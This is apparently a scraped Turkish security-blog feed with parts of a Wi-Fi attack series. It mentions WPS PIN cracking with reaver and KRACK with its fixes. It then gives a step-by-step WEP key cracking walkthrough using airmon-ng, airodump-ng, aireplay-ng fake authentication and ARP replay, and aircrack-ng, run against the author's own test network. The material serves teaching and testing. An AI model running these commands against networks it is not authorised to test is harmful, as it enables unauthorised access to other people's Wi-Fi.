Bazı eski modemlerin WPS PIN’ı default olarak bulunabilir, onun dışındakilerde reaver ile PIN bulunup daha sonra kablosuz ağ parolası ele geçirilebilir. Fakat bu açıklık nedeniyle modemler yanlış denemelerden sonra belli bir süre bekletme, tuşla WPS’e bağlanma gibi yeni özellikler gelmiştir. Yinede eski, güncel olmayan WPS’i aktif modemlerde bu şekilde kablosuz ağ parolasını ele geçirebilirsiniz.
KRACK Zafiyeti
KRACK zafiyeti WPA/WPA2 şifrelemesini kullanan tüm işletim sistemlerini etkilemektedir. Fakat Krack zafiyeti ağın parolasını ele geçirmek değilde ağın parolası bilinmemesine rağmen kablosuz ağ trafiğinin dinlenmesine yönelik bir zafiyettir.
Bu zafiyetten etkilenip etkilenmediğinizi test etmek için yayınlanan https://github.com/vanhoefm/krackattacks-scripts aracını kullanabilirsiniz.
Bu zafiyetten etkilenmemek için şuan bir çok üretici güncelleme çıkardı bu güncellemeyi yapabilirsiniz. Güncelleme gelmeyen ve ya yapamayanlarda ağ içinde VPN kullanarak tüm trafiği şifrelemesi geçici bir çözüm olacaktır.
TR | Kablosuz Ağ Saldırıları-2 WPA/WPA2 Şifrelemeleri ve Parola Ele Geçirme Ahmet Gürel
]]>Wi-Fi ağınızın güvenliğini sağlamak için ortaya çıkmış şifreleme yöntemleri vardır, bu şifreleme yöntemlerinden biri WEP (Wired Equivalent Privacy) dir. Wired Equivalent Privacy (WEP), dünyada en çok kullanılan Wi-Fi güvenlik algoritması. Bunun sebebi ise, geriye uyumluluğu ve birçok router’ın kontrol panelinde ilk sırada yer alması. WEP 64-bit olarak çıktı fakat sonra 128-bit’e çıkarıldı. Günümüzde 256-bit WEP […]
TR| Kablosuz Ağ Saldırıları -1 WEP Şifreleme ve Parolasını Ele Geçirme Ahmet Gürel
]]>Wi-Fi ağınızın güvenliğini sağlamak için ortaya çıkmış şifreleme yöntemleri vardır,
bu şifreleme yöntemlerinden biri WEP (Wired Equivalent Privacy) dir.
Wired Equivalent Privacy (WEP), dünyada en çok kullanılan Wi-Fi güvenlik
algoritması. Bunun sebebi ise, geriye uyumluluğu ve birçok router’ın kontrol
panelinde ilk sırada yer alması.
WEP 64-bit olarak çıktı fakat sonra 128-bit’e çıkarıldı. Günümüzde 256-bit WEP
şifrelemesi mevcut olsa da, 128-bit şifreleme halen en yaygın olarak kullanılan.
Algoritmadaki bir çok düzeltmeye ve arttırılan anahtar boyutuna rağmen, WEP
standardında zaman içinde birçok güvenlik açığı keşfedildi. Ücretsiz araçlar ile
kolaylıkla kıralabilmeltedir.(Aircrack vb.) WEP 2004 yılında resmi olarak bitirildi.
WEP ağına bağlanılırken aşağıdaki gibi kimlik doğrulama gerçekleşir.
WEP Algoritmasının 3 Önemli Amacı :
WEP’in teknik altyapısı RC4 (Rivest Cipher) akış şifreleme algoritmasına dayanır. RC4’ün amacı, verilen bir gizli anahtar ile geniş uzunlukta rastgele sayılar üretmek ve daha sonra bu akışla göndericide düz metin mesajı şifrelemektir.Mesajın şifrelenmesinin çözümü ve şifrelemesi temel olarak XOR fonksiyonu ile yapılmaktadır. WEP onay sisteminde RC4 ile iki defa XOR lanan sonuç aynı değeri vermektedir. IV (Initialization Vector) paketleri WEP de düşük boyutta olduğu için tekrara neden olabiliyor. IV (Initialization Vector) gerçek anahtara eklenilip RC4 işleme giriyor dolayısıyla her IV değiştirildiğinde RC4 tekrar şifrelemeye başlıyor. Yeterince tekrar etmeyen IV (Initialization Vector) paket topladığında WEP parolası kırılabilmektedir.
WEP Parolasını Ele Geçirme Adımları:
Başlamadan önce;
bu terimlerin açılımını öğrendikten sonra Kali Linux üzerindeki Aircrack araç ailesini kullarak kıracağız. Donanım olarak TP-LINK TL-WN727N adaptörünü kullanacağım.
ifconfig wlan0 ve ya iwconfig komutları ile kablosuz adaptörümüzü görüntüleyebiliriz.
airmon-ng start wlan0 komutu ile adaptörümüzü monitor moda alıyoruz.
Yukarıdaki resimde gördüğümüz gibi wlan0 monitor moda geçerek wlan0mon olmuştur.
airodump-ng wlan0mon komutu ile etraftaki paketleri dinleyerek kablosuz ağlar hakkında bilgi topluyoruz. Yukarıda ki resimde gördüğümüz gibi BSSID, ESSID ve Channel bilgileri görüntülenmektedir.
Terminalimize wifite yazarak aracımızı başka bir aracımızı açıyoruz. WPS ve Clients bilgilerini görebilmekteyiz.
Yukarıda topladığımız bilgilere göre ESSID Ahmet-Test BSSID 3C:DF:BD:EC:E8:5A olan Channel numarası 10 olan ve WEP protokolünü kullanan erişim noktasını hedef alacağız.
airodump-ng wlan0mon -c 10 –bssid 3C:DF:BD:EC:E8:5A -w WEP komutu ile Ahmet-Test eişin noktasının paketlerini toplayarak -w parametresi ile bulunduğu dizine kaydetmesini sağlıyoruz.
aireplay-ng -1 1 -a 3C:DF:BD:EC:E8:5A -h D4:6E:0E:1A:32:26 wlan0mon komutu ile fake authentication oluşturarak daha hızlı bir şekilde paket toplama işlemi gerçekleştireceğiz. -1 ile fake authentication üreteceğimizi aireplay-ng aracına belirttikden sonra kaç saniyede bir gönderileceğini girdik. -a parametresi ile BSSID (Hedef Mac adresini) giriyoruz. -h ile kendi adaptörümüzün mac adresini giriyoruz ve fake authentication paketleri gönderiyoruz.
aireplay-ng -3 -b 3C:DF:BD:EC:E8:5A -h D4:6E:0E:1A:32:26 wlan0mon komutu ilede IV (Initialization Vector) paketi oluşturmak için ARP paketlerini yakalayıp sürekli olarak tekrarlamaktadır.
aircrack-ng WEP-01.cap komutu ile yeterli sayıda IV (Initialization Vector) paketi toplandığında WEP parolası kırılmaktadır.
TR| Kablosuz Ağ Saldırıları -1 WEP Şifreleme ve Parolasını Ele Geçirme Ahmet Gürel
]]>